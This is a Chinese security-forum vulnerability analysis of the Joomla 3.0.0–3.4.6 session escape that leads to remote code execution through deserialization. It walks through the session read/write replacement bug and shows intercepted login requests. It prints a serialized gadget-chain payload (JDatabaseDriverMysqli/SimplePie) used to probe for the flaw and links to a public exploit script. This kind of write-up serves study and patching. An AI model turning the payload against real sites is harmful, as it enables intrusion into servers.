

漏洞环境及利用

- Joomla 3.4.6 : <https://downloads.joomla.org/it/cms/joomla3/3-4-6>
- PHP 版本: 5.5.38
- Joomla 3.4 之前(包含3.4)不支持 PHP7.0
- 影响版本: 3.0.0 --- 3.4.6
- 漏洞利用: <https://github.com/momika233/Joomla-3.4.6-RCE>

漏洞成因

- 本次漏洞主要是由于对 session 处理不当,从而可以伪造 session 从而导致 session 反序列化

漏洞分析

session 逃逸

session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session 表中

```
|__default|a:7:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1570623189;s:18:"session.timer.last";i:1570623266;s:17:"session.timer.now";i:1570623268;s:8:"registry";o:24:"Joomla\Registry\Registry";2:{s:7:"\0\0\0data";o:8:"stdClass";1:{s:5:"users";o:8:"stdClass";1:{s:5:"login";o:8:"stdClass";1:{s:4:"form";o:8:"stdClass";2:{s:4:"data";a:5:{s:6:"return";s:61:"http://127.0.0.1/joomla/index.php/component/users/?view=login";s:8:"username";s:6:"peri0d";s:8:"password";s:6:"peri0d";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:61:"http://127.0.0.1/joomla/index.php/component/users/?view=login";}}s:9:"separator";s:1:".";s:4:"user";o:5:"JUser";26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";o:24:"Joomla\Registry\Registry";2:{s:7:"\0\0\0data";o:8:"stdClass";0:{}}s:9:"separator";s:1:".";s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0UserHelper";o:18:"JUserWrapperHelper";0:{}}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"724100c0001768b965153cc9f2b65937";} |
```

在登陆过程中,会有一个 303 的跳转,这个 303 是先把用户的输入存在数据库中,再从数据库中读取、对比,即先执行 write 函数在执行 read 函数

1	http://127.0.0.1	POST	/joomla/index.php	<input checked="" type="checkbox"/>	<input type="checkbox"/>	303	281	HTML	php	
2	http://127.0.0.1	GET	/joomla/index.php/component/us...	<input checked="" type="checkbox"/>	<input type="checkbox"/>	200	8375	HTML		peri0d's site

RequestResponse

RawParamsHeadersHex

POST /joomla/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://127.0.0.1/joomla/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
Connection: close

而且它的 csrf token 也在前端页面中

Request Response

Raw Params Headers Hex

POST /joomla/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/joomla/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 147
Connection: close
Cookie: Phpstorm-ad1d8650=3dd14d2a-e4db-430f-8b24-210f9b8759b5; 833511fa0f6a91de8f52fa37aec55379=poekbnbisbod7jjm90o5hc34k5
Upgrade-Insecure-Requests: 1

username=&password=&Submit=&option=com_users&task=user.login&return=aHR0cDovL2xvY2FsaG9zdC9qb29tbGEvaW5kZXgucGhwL2NvbXBvbmVudC91c2Vycy8/dmllZz1sb2dpbg==&2f01d701c3=1

4174aef03018a8e922daf7

? < + > Type a search term 0 matches

<input type="hidden" name="return" value="aHR0cDovL2xvY2FsaG9zdC9qb29tbGEvaW5kZXgucGhwL2NvbXBvbmVudC91c2Vycy8/dmllZz1sb2dpbg==">
<input type="hidden" name="4174aef03018a8e922daf72f01d701c3" value="1">
</div>
</form>
</div>

先知社区

这两个函数位于 libraries/joomla/session/storage/database.php 中，内容如下:

```

->public function read($id)
->{
->    >>$db = JFactory::getDbo();
->    >>try
->    >>{
->        >>$query = $db->getQuery(true)
->        >>->select($db->quoteName('data'))
->        >>->from($db->quoteName('#__session'))
->        >>->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
->        >>$db->setQuery($query);
->        >>$result = (string) $db->loadResult();
->        >>$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
->        >>return $result;
->    >>}
->    >>catch (Exception $e)
->    >>{
->        >>return false;
->    >>}
->}
->public function write($id, $data)
->{
->    >>$db = JFactory::getDbo();
->    >>$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
->    >>try
->    >>{
->        >>$query = $db->getQuery(true)
->        >>->update($db->quoteName('#__session'))
->        >>->set($db->quoteName('data') . ' = ' . $db->quote($data))
->        >>->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->        >>->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
->        >>$db->setQuery($query);
->
->        >>if (!$db->execute())
->        >>{
->            >>return false;
->        >>}
->        >>return true;
->    >>}
->    >>catch (Exception $e)
->    >>{
->        >>return false;
->    >>}
->}

```

可以看到，它在写入的过程中将 `\x00*\x00` 替换为 `\0\0\0`，因为 MySQL 中不能存储 NULL，而 `protected` 变量序列化后带有 `\x00*\x00`

在读取过程中会重新把 `\0\0\0` 替换为 `\x00*\x00` 以便反序列化，但是这个替换将 3 字节的内容替换为 6 字节

如果提交的 username 为 `per\0\0\0i0d`，那么在 `read` 时返回的数据就是 `s:8:s:"username";s:12:"perNNNi0d"` N 代表 NULL，替换的大小为 9 字节，但是声明的是 12 字节，那么这将是一个无效的对象

那么就可以利用这个溢出来构造“特殊”的代码

值得一提的是，在进行 `replace` 后，反序列化时 `username` 会按照 54 的长度读取，读取到 `password` 字段处，以其结尾的 `;` 作为结尾，而 `password` 字段的内容就逃逸出来，直接进行反序列化了。

思路

1. 使用 `\0\0\0` 溢出，来逃逸密码 value
2. 重新构建有效的对象
3. 发送 exp
4. 触发 exp

在数据库中


```
s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{
  →s:4:"\0\0\0a";O:17:"JSimplePieFactory":0:{}
  →s:21:"\0\0\0disconnectHandlers";
  →a:1:{
    →i:0;a:2:{
      →O:9:"SimplePie":5:{
        →s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        →s:5:"cache";b:1;
        →s:19:"cache_name_function";s:7:"print_r";
        →s:10:"javascript";i:9999;
        →s:8:"feed_url";s:40:"http://l4m3rz.l337/;zopatkgieeqgmifstiih";
      }
      →i:1;s:4:"init";
    }
  }
  →s:13:"\0\0\0connection";i:1;
}
```

如果 zopatkgieeqgmifstiih 出现在返回页面就可以判断存在该漏洞

漏洞修复

- 对 session 信息进行 base64 或其他编码

参考链接

- https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
- <https://github.com/momika233/Joomla-3.4.6-RCE/blob/master/Joomla-3.4.6-RCE.py>

点击收藏 | 1 关注 | 1

[上一篇：Windows驱动编程之串口过滤杂谈](#) [下一篇：Joomla 3.0-3.4.6 ...](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)